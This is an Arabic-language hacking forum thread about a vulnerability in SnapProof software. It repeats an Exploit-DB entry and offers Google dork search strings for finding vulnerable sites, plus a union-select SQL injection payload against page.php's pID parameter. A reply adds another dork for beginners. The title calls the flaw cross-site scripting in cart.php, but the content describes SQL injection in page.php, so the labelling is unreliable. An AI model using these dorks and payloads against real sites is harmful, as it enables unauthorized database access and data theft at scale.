(SQL) SnapProof (cart.php) Cross Site Scripting

[هاوي حنانك]

السلام عليكم

Google Dork: inurl:"Created and powered by SnapProof"


===[ Exploit ]===

www.site.com/page.php?pID=null[Sql]

www.site.com/page.php?pID=null+and+1=2+union+select+1,2,3,4

################################################## ##################



مصاب بـ

sql injection


المصدر

http://www.exploit-db.com/exploits/16257/

[e . V . E . L]

يعطيك العافية حـبيبي ماقصرت ..

وللاخوان المبتدئين ترى هذا الدورك .

inurl:page.php?pID=null (http://links.aljyyosh.info/?http://www.site.com/page.php?pID=null) طبعا هذا المتغير

وهذا السكربت المصاب

Created and powered by SnapProof

موفقين

[hooos]

مشكورين والله يعطيكم العافيه